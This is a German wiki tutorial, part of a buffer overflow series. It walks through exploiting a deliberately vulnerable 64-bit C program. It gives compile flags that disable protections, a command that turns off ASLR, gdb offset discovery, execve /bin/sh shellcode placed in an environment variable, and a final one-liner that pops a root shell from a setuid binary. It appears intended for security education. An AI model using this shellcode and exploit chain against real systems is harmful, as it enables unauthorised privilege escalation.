Dies ist eine alte Version des Dokuments!
Buffer Overflow im 64-Bit Stack - Teil 1
Dieser Artikel ist Teil der Buffer Overflow Reihe. Hier gibt es mehr zu diesem Thema:
In diesem Tutorial erzeugen wir einen Buffer Overflow auf dem 64-Bit Stack, um root Rechte zu erlangen.1)
Technische Einzelheiten zu Buffer-Overflows, Stack etc. gibt es hier2)
Abhängigkeiten
Achtung!
Die Techniken und Methoden in diesem Artikel sind ausschließlich für Lernzwecke. Ein Missbrauch ist strafbar!3)gdb-peda Exploit Tools
gdb-peda erweitert den Debugger GDB um hilfreiche Kommandos, zur Exploit Entwicklung.4)
git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit
ASLR deaktivieren
ASLR muss deaktiviert werden, damit Speicherbereiche nicht randomisiert werden.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Programm
Quellcode und kompilierte Binaries findet Ihr auch auf meinem github repository
// code from https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/ #include <stdio.h> #include <unistd.h> int vuln() { char buf[80]; int r; r = read(0, buf, 400); printf("\nRead %d bytes. buf is %s\n", r, buf); puts("No shell for you :("); return 0; } int main(int argc, char *argv[]) { printf("Try to exec /bin/sh"); vuln(); return 0; }
Kompilieren
gcc -fno-stack-protector -z execstack bof.c -o bof
RIP Register
Interessant für uns ist das Register RIP
. Dieses enthält eine Rücksprungadresse, welche auf einen anderen Bereich im Code zeigt. Durch den Buffer-Overflow überschreiben wir diese Rücksprungadresse. Aber erst müssen wir herausfinden, wie wir dies machen können.
Wir starten unser Programm im Debugger und generieren einen 200 Zeichen langen String:
gdb -q vulnerable pattern_create 200 in.bin r < in.bin
Bytes berechnen
Wieviele Bytes müssen übergeben werden, bevor RIP überschrieben wird?
pattern_offset A7AAMAAiA
Found at Offset 104
104 Bytes müssen übergeben werden, bis der Puffer überläuft. Wir generieren 104 Zeichen und eine canonical return adress. Hierzu müssen wir unsere Pseudo-Adresse 0x414141414141
ins canonical address format konvertieren, indem wir 2 hohe Bytes anhängen:
0x0000414141414141
Das wandeln wir in Shellcode um:
\x41\x41\x41\x41\x41\x41\x00\x00
In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilized for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical.5)
Debuggen
Also Debuggen wir nun erneut, mit den herausgefundenen Parametern
python2 -c "print('A'*104 + '\x41\x41\x41\x41\x41\x41\x00\x00')" > in.bin gdb -q bof r < in.bin
Exploit
Im letzten Schritt erzeugen wir uns ein entsprechendes Exploit, um die root Shell zu erzeugen.
Shellcode platzieren
Der Shellcode6) wird in einer Umgebungsvariable abgelegt
export PWN=`python2 -c 'print( "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")'`
Variable im Stack finden
GetEnvVar
// code by Jon Erickson, page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s <environment variable> <target program name>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* get env var location */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */ printf("%s will be at %p\n", argv[1], ptr); }
Kompilieren
gcc getenvar.c -o getenvar
Ausführen
./getenvar PWN ./bof
Die Adresse der Umgebungsvariable ist 0x7fffffffef9e
, dies entspricht der canonical address 0x00007fffffffef9e
´. Unser Shellcode entspräche nun:
\x9e\xef\xff\xff\xff\x7f\x00\x00
Angriff
Zunächst setzen wir root Rechte auf die vulnerable Datei und starten diese7)
sudo chown root bof sudo chmod 4755 bof ./bof
Nun können wir den Buffer-Overflow ausführen:
(python2 -c "print('A'*104+'\x9e\xef\xff\xff\xff\x7f\x00\x00')"; cat) | ./bof
Repository
Projektdateien | nosoc-repo-bof64.zip ZIP |
---|---|
Größe | 5,76 KB |
Prüfsumme (SHA256) | 191e6f1811018970776e3bf035ff460033a47da62335fe5c9475a460b02a10d3 |
Diskussion